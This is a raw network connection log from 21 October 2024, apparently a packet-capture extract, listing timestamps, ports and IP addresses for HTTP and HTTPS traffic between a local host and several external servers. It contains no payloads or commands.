Oct 21, 2024 10:46:26.187371016 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187381029 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187398911 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187412024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187414885 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187431097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187442064 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187447071 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187464952 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187477112 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187478065 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187489033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187500000 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187510014 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187511921 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187520981 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187532902 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187535048 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187545061 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187556028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187566042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187571049 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187578917 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187591076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187597990 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187602043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187611103 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187622070 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187633991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187637091 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187643051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187664986 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187671900 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187675953 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187689066 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187691927 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187701941 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187712908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187720060 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187724113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187740088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187745094 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187751055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187755108 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187763929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187783003 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187793016 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187793970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187805891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187817097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187818050 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187827110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187838078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187844992 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187849998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187860966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187869072 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187872887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187879086 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187885046 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187895060 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187906027 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187916040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187916994 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187927008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187937975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187947989 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187954903 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187958002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187966108 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187972069 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187975883 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187990904 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.195617914 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.383554935 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:29.752321005 CEST	49746	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:46:29.757463932 CEST	80	49746	185.215.113.37	192.168.2.4
Oct 21, 2024 10:46:29.757543087 CEST	49746	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:46:29.757739067 CEST	49746	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:46:29.762538910 CEST	80	49746	185.215.113.37	192.168.2.4
Oct 21, 2024 10:46:30.650374889 CEST	80	49746	185.215.113.37	192.168.2.4
Oct 21, 2024 10:46:30.650476933 CEST	49746	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:46:30.652777910 CEST	49746	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:46:30.657807112 CEST	80	49746	185.215.113.37	192.168.2.4
Oct 21, 2024 10:46:30.938412905 CEST	80	49746	185.215.113.37	192.168.2.4
Oct 21, 2024 10:46:30.938512087 CEST	49746	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:46:35.105070114 CEST	49746	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:46:35.187814951 CEST	49754	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:46:35.187885046 CEST	443	49754	35.190.72.216	192.168.2.4
Oct 21, 2024 10:46:35.191879034 CEST	49754	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:46:35.196600914 CEST	49754	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:46:35.196639061 CEST	443	49754	35.190.72.216	192.168.2.4
Oct 21, 2024 10:46:35.827476025 CEST	443	49754	35.190.72.216	192.168.2.4
Oct 21, 2024 10:46:35.827553988 CEST	49754	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:46:35.835572004 CEST	49754	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:46:35.835580111 CEST	443	49754	35.190.72.216	192.168.2.4
Oct 21, 2024 10:46:35.835700989 CEST	49754	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:46:35.835741997 CEST	443	49754	35.190.72.216	192.168.2.4
Oct 21, 2024 10:46:35.837409019 CEST	49754	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:46:36.997118950 CEST	49755	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:36.997152090 CEST	443	49755	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:36.997740984 CEST	49755	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:37.015603065 CEST	49755	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:37.015625954 CEST	443	49755	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:37.431828022 CEST	49757	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:37.431891918 CEST	443	49757	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:37.435797930 CEST	49757	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:37.439821959 CEST	49757	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:37.439857006 CEST	443	49757	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:37.451107979 CEST	49758	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:37.455924034 CEST	80	49758	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:37.455987930 CEST	49758	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:37.456146955 CEST	49758	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:37.460941076 CEST	80	49758	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:37.688854933 CEST	49759	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:37.688922882 CEST	443	49759	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:37.689590931 CEST	49760	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:37.689625978 CEST	443	49760	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:37.690116882 CEST	49759	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:37.690201998 CEST	49760	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:37.690278053 CEST	49759	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:37.690296888 CEST	443	49759	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:37.691854000 CEST	49760	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:37.691869020 CEST	443	49760	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:37.697273016 CEST	49761	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:37.697315931 CEST	443	49761	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:37.697376966 CEST	49761	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:37.698678017 CEST	49761	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:37.698694944 CEST	443	49761	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:37.891750097 CEST	443	49755	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:37.891820908 CEST	49755	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:37.892429113 CEST	443	49755	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:37.892477989 CEST	49755	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.060447931 CEST	80	49758	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:38.159157991 CEST	49758	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:38.307495117 CEST	443	49757	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.308197021 CEST	443	49757	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.313000917 CEST	49757	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.313059092 CEST	443	49757	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.317078114 CEST	443	49759	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:38.324115992 CEST	443	49761	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.325684071 CEST	443	49760	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.327418089 CEST	443	49759	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:38.328691006 CEST	49759	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:38.335417986 CEST	443	49760	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.335423946 CEST	443	49761	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.344163895 CEST	49759	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:38.344178915 CEST	49761	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.344291925 CEST	49760	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.359797955 CEST	49760	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.359807014 CEST	49761	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.431138039 CEST	49759	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:38.431169033 CEST	443	49759	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:38.431529999 CEST	443	49759	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:38.442989111 CEST	49755	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.443003893 CEST	443	49755	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.443265915 CEST	443	49755	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.443464994 CEST	49757	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.443509102 CEST	443	49757	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.443708897 CEST	443	49757	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.443819046 CEST	49759	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:38.443916082 CEST	49757	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.443933964 CEST	443	49757	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.443978071 CEST	443	49759	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:38.443993092 CEST	49755	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.444000959 CEST	443	49755	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.444125891 CEST	49759	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:38.444144964 CEST	443	49759	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:38.445121050 CEST	49762	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.445168018 CEST	443	49762	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.446023941 CEST	49761	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.446033955 CEST	443	49761	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.446125031 CEST	49761	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.446419954 CEST	49763	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.446446896 CEST	443	49763	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.446551085 CEST	443	49761	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.449945927 CEST	49760	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.449954033 CEST	443	49760	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.450550079 CEST	443	49760	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.451677084 CEST	49755	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.451685905 CEST	49759	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:38.451685905 CEST	49757	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.452035904 CEST	49761	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.452080965 CEST	49762	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.452084064 CEST	49763	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.452084064 CEST	49760	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.454440117 CEST	49760	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.454452038 CEST	443	49760	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.455816984 CEST	49763	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.455827951 CEST	443	49763	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.457046032 CEST	49762	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:38.457076073 CEST	443	49762	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:38.457257032 CEST	49764	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.457277060 CEST	443	49764	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.461720943 CEST	49758	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:38.467117071 CEST	80	49758	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:38.469305992 CEST	49758	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:38.469459057 CEST	49764	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.470849991 CEST	49764	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:38.470864058 CEST	443	49764	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:38.496324062 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:38.497128010 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:38.501239061 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:38.501549959 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:38.501616001 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:38.501933098 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:38.502300978 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:38.502384901 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:38.506458044 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:38.507137060 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:38.507688999 CEST	49767	443	192.168.2.4	34.160.144.191
Oct 21, 2024 10:46:38.507708073 CEST	443	49767	34.160.144.191	192.168.2.4
Oct 21, 2024 10:46:38.507766008 CEST	49767	443	192.168.2.4	34.160.144.191
Oct 21, 2024 10:46:38.516247034 CEST	49767	443	192.168.2.4	34.160.144.191
Oct 21, 2024 10:46:38.516261101 CEST	443	49767	34.160.144.191	192.168.2.4
Oct 21, 2024 10:46:39.062464952 CEST	443	49763	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:39.062536001 CEST	49763	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.066554070 CEST	49763	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.066565037 CEST	443	49763	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:39.066656113 CEST	49763	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.066714048 CEST	443	49763	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:39.066787958 CEST	49763	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.090281010 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:39.094234943 CEST	443	49764	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:39.094259977 CEST	443	49764	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:39.094294071 CEST	49764	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.098067045 CEST	49764	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.098083019 CEST	443	49764	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:39.098135948 CEST	49764	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.098197937 CEST	443	49764	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:39.098243952 CEST	49764	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.104069948 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:39.134675980 CEST	443	49767	34.160.144.191	192.168.2.4
Oct 21, 2024 10:46:39.134738922 CEST	49767	443	192.168.2.4	34.160.144.191
Oct 21, 2024 10:46:39.137147903 CEST	49767	443	192.168.2.4	34.160.144.191
Oct 21, 2024 10:46:39.137152910 CEST	443	49767	34.160.144.191	192.168.2.4
Oct 21, 2024 10:46:39.137396097 CEST	443	49767	34.160.144.191	192.168.2.4
Oct 21, 2024 10:46:39.139646053 CEST	49767	443	192.168.2.4	34.160.144.191
Oct 21, 2024 10:46:39.139705896 CEST	49767	443	192.168.2.4	34.160.144.191
Oct 21, 2024 10:46:39.139786005 CEST	443	49767	34.160.144.191	192.168.2.4
Oct 21, 2024 10:46:39.139832020 CEST	49767	443	192.168.2.4	34.160.144.191
Oct 21, 2024 10:46:39.139946938 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:39.155553102 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:39.305179119 CEST	443	49762	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:39.305190086 CEST	443	49762	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:39.305248976 CEST	49762	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:39.305850983 CEST	443	49762	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:39.305906057 CEST	49762	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:39.593183041 CEST	49762	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:39.593224049 CEST	443	49762	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:39.593305111 CEST	49762	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:39.593477011 CEST	443	49762	142.250.186.46	192.168.2.4
Oct 21, 2024 10:46:39.598090887 CEST	49762	443	192.168.2.4	142.250.186.46
Oct 21, 2024 10:46:39.642729998 CEST	49769	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.642790079 CEST	443	49769	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:39.643302917 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:39.645056009 CEST	49769	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.646243095 CEST	49769	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:39.646270037 CEST	443	49769	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:39.648149014 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:39.762275934 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:40.004019022 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:40.004230976 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:40.004283905 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:40.005079985 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:40.122670889 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:40.174053907 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:40.268096924 CEST	443	49769	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:40.274395943 CEST	49769	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:40.293553114 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:40.295013905 CEST	49769	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:40.295047045 CEST	443	49769	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:40.295120955 CEST	49769	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:40.295212984 CEST	443	49769	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:40.298563004 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:40.303052902 CEST	49770	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:40.303102016 CEST	443	49770	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:40.305636883 CEST	49769	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:40.305692911 CEST	49770	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:40.307146072 CEST	49770	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:40.307172060 CEST	443	49770	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:40.419625998 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:40.474910975 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:40.931152105 CEST	443	49770	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:40.931229115 CEST	49770	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:40.935888052 CEST	49770	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:40.935895920 CEST	443	49770	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:40.935982943 CEST	49770	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:40.936042070 CEST	443	49770	34.117.188.166	192.168.2.4
Oct 21, 2024 10:46:40.936124086 CEST	49770	443	192.168.2.4	34.117.188.166
Oct 21, 2024 10:46:48.568371058 CEST	49772	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:48.569694042 CEST	443	49772	34.107.243.93	192.168.2.4
Oct 21, 2024 10:46:48.571758986 CEST	49772	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:48.573101997 CEST	49772	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:48.573127985 CEST	443	49772	34.107.243.93	192.168.2.4
Oct 21, 2024 10:46:48.798255920 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:48.996850967 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:49.114749908 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:49.171662092 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:49.201941013 CEST	443	49772	34.107.243.93	192.168.2.4
Oct 21, 2024 10:46:49.206185102 CEST	49772	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:49.210498095 CEST	49772	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:49.210510969 CEST	443	49772	34.107.243.93	192.168.2.4
Oct 21, 2024 10:46:49.210586071 CEST	49772	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:49.210769892 CEST	443	49772	34.107.243.93	192.168.2.4
Oct 21, 2024 10:46:49.210829020 CEST	49772	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:50.428656101 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:50.433823109 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:52.440682888 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:52.442012072 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:52.748965979 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:52.849246025 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:52.999177933 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:52.999196053 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:52.999207973 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:52.999670982 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:53.000406027 CEST	49773	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:53.000495911 CEST	443	49773	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:53.000997066 CEST	49774	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:53.001034975 CEST	443	49774	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:53.001060009 CEST	49773	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:53.001105070 CEST	49774	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:53.001194954 CEST	49773	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:53.001204014 CEST	443	49773	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:53.002533913 CEST	49774	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:53.002547026 CEST	443	49774	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:53.002835989 CEST	49775	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:46:53.002842903 CEST	443	49775	34.149.100.209	192.168.2.4
Oct 21, 2024 10:46:53.002923012 CEST	49775	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:46:53.004544020 CEST	49775	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:46:53.004554033 CEST	443	49775	34.149.100.209	192.168.2.4
Oct 21, 2024 10:46:53.114212990 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:53.116853952 CEST	80	49765	34.107.221.82	192.168.2.4
